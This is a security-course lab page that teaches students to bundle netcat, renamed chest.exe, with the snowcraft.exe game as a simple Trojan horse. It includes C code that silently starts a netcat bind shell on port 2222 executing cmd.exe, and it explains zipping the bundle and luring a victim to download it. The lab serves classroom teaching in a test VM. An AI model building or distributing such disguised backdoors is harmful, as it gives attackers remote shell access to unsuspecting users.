ComputerSecurityStudent (CSS) [Login] [Join Now]




|SECURITY TOOLS >> Trojan Horse Creation >> Current Page |Views: 36567

(Trojan Horse 1: Lesson 2)

{ How to bundle a Trojan Horse with Netcat }


Section 0. Background Information
  • Pre-Requisite Lab

     

  • Overview
    • This lab demonstrates how easy it is to create a very simple Trojan Horse.
    • Each Christmas my manager sends me this game called snowcraft.exe.  It is a great game in which you are throwing snowballs at the neighborhood kids.
    • Anyway, I am using snowcraft.exe as my Trojan Horse to hide a Netcat session.
  • Legal Disclaimer
    • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
    • In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
    • In addition, this is a teaching website that does not condone malicious behavior of any kind.
    • Your are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.

     

Section 1. Start Up Windows Machine
  1. Booting up WindowsVulerable01
    • Instructions:
      1. Start up VMware Player
      2. Select WindowsVulerable01
      3. Play Virtual Machine
    • Note:
      • For those of you that are not part of my class, WindowsVulernable01 is a Windows XP Machine.
      • Any version of Windows can be used.

     

  2. WindowsVulerable01 Authentication
    • Instructions:
      1. Login as administrator

 

Section 2. Start up Internet Explorer
  1. Start Up Internet Explorer.
    • Instructions:
      1. On WindowsVulnerable01
      2. Bring Up Internet Explorer
      3. Start --> All Programs --> Internet Explorer

 

Section 3. Download Shockwave Prerequisite to view SnowCraft
  1. Download Shockwave Player
    • Instructions:
      1. Go To http://get.adobe.com/shockwave/ In your WindowsVulnerable01's Internet Explorer.
      2. Click on Agree and install now.
    • Note:
      • You can skip this step if you already have Shockwave Player installed.

     

  2. Information Bar
    • Instructions:
      1. Click OK

     

  3. ActiveX Control
    • Instructions:
      1. Install ActiveX Control...

     

  4. Internet Explorer - Security Warning
    • Instructions:
      1. Click Install

     

  5. Installing Adobe Shockwave Player
    • Instructions:
      1. Do not check the "Include Norton Internet Security" checkbox.
        • Note: You will be bugged every 30 days to pay for an upgrade.
      2. Click Next

     

  6. Installation Complete
    • Note:
      • You should see an Installation Complete message.

 

Section 4. Download Snowcraft and Netcat
  1. Download snowcraft.exe
    • Instructions:
      1. Use your WindowsVulnerable01's Internet Explorer
      2. Click Here To Download Snowcraft.exe

     

  2. Save snowcraft.exe
    • Instructions:
      1. On WindowsVulnerable01
      2. Navigate to C:\tools

     

  3. Create a New Folder
    • Instructions:
      1. Right Click in the white portion of the screen.
      2. Select New --> Folder

     

  4. Name the New Folder
    • Instructions:
      1. Name the folder "snowcraft"
      2. Double Click on the "snowcraft" directory

     

  5. Create another New Folder
    • Instructions:
      1. Right Click in the white portion of the screen.
      2. Select New --> Folder

     

  6. Name the New Folder
    • Instructions:
      1. Name the folder "dir"
      2. Double Click on the "dir" directory

     

  7. Save snowcraft.exe
    • Instructions:
      1. Make sure you are in C:\tools\snowcraft\dir
      2. Click the Save button

     

  8. Download Complete Message
    • Instructions:
      1. Click Close

     

  9. Download netcat.exe
    • Instructions:
      1. Use your WindowsVulnerable01's Internet Explorer
      2. Click Here To Download netcat.exe

     

  10. Saving netcat.exe
    • Instructions:
      1. Navigate to C:\tools\snowcraft\dir
      2. Click Save

     

  11. Download complete
    • Instructions:
      1. Click Open Folder

     

  12. Rename netcat.exe
    • Instructions:
      1. Right Click on netcat.exe
      2. Select Rename
      3. Rename netcat.exe to chest.exe

     

  13. Verify your work
    • Instructions:
      1. In C:\tools\snowcraft\dir
      2. You should have snowcraft.exe and chest.exe (f/k/a, netcat.exe)

     

Section 5. Start up the CodeBlocks IDE
  1. Start up your CodeBlocks IDE
    • Instructions:
      1. Start --> All Programs --> CodeBlocks --> CodeBlocks

     

  2. Create an Empty File
    • Instructions
      1. File --> New --> Empty file

     

  3. Save Empty File
    • Instructions:
      1. File --> Save file as...

     

  4. Save file
    • Instructions:
      1. Navigate to C:\tools\snowcraft
      2. Name the file "snowcraft"
      3. Click Save

     

  5. Cut and Paste Code into the CodeBlocks IDE
    • Instructions:
      1. Highlight the below code
      2. Right Click --> Copy
      3. Paste into the CodeBlock Window (See Below)
    • Code:
      • #include <stdio.h>
        #include <stdlib.h>

        int main ()
        {
            system("start /B dir\\chest.exe -d -L -p 2222 -e cmd.exe");
            system("dir\\snowcraft.exe");

            //return 0;
        }

     

  6. Save snowcraft.cpp
    • Instructions:
      1. File --> Save File

     

  7. Compile current file
    • Instructions:
      1. Build --> Compile Current file
    • Note:
      • In the Build log tab, you will see a Build log message.
      • If there are not errors, you will see a message similar to below, saying you have 0 errors.
      • If you received any errors, then you cannot continue to the next step.

     

  8. Build and run
    • Instructions:
      1. Build --> Build and run

     

  9. Build and Run Results
    • Instructions:
      1. You should see that Snowcraft was kicked off
      2. Play the game if you want.
      3. When you get bored continue to the next step.

     

  10. Bring up task manager
    • Instructions:
      1. Right click on bottom task bar
      2. Select Task Manager

     

  11. View Task Manager Processes
    • Note:
      1. Notice chest.exe (f/k/a netcat.exe) running
      2. Then are Trojan Horse, snowcraft.exe is running.

     

  12. Open a Command Prompt
    • Instruction:
      1. Start --> All Programs --> Accessories --> Command Prompt

     

  13. Let's investigate chest.exe process
    • Instruction:
      1. tasklist | findstr chest
        • tasklist is the command line equivalent to Windows Task Monitor.
        • findstr is like the uniq grep command, where we are searching for chest.
        • NOTE: In my case, the PID that was returned was 1212.  In your case, it will be different.
      2. netstat -nao | findstr 1212
        • netstat is being used to show all network connections.
        • Then findstr search for the chest.exe PID of 1212.
        • NOTE: There is a TCP port listening on 2222.

 

Section 6. Bundle Instructions
  1. Close out the following applications
    • Instructions:
      1. Close the CodeBlocks IDE
      2. Close SnowCraft

     

  2. Close out the following applications
    • Instructions:
      1. Start --> My Computer
      2. Navigate to C:\tools\snowcraft
      3. Delete snowcraft.cpp
      4. Delete snowcraft.o

     

  3. Zip up the snowcraft folder
    • Instructions:
      1. Navigate to C:\tools
      2. Right Click on the snowcraft folder
      3. Send To --> Compressed (zipped) folder

     

  4. Congratulations
    • Note:
      1. You should see a new file called snowcraft.zip.
      2. A malicious person might place this zipped file on their website, and send an email with a web link to the victim.
      3. Once the victim, clicks on the link, their IP address is stored in a web log.
      4. Then the attacker could possibly attach to that victim's IP address at port 2222.
      5. Pretty Scary Stuff!!!

 

Section: Proof of Lab
  1. Open a Command Prompt
    • Instruction:
      1. Start --> All Programs --> Accessories --> Command Prompt

     

  2. Let's investigate chest.exe process
    • Instruction:
      1. tasklist | findstr chest
      2. netstat -nao | findstr 1212
      3. date
      4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • E.g., echo "John Gray"
    • Instruction:
      1. Do a PrtScn
      2. Paste into a word document
      3. Upload to Moodle.
  3.  

 



Help ComputerSecurityStudent
pay for continued research,
resources & bandwidth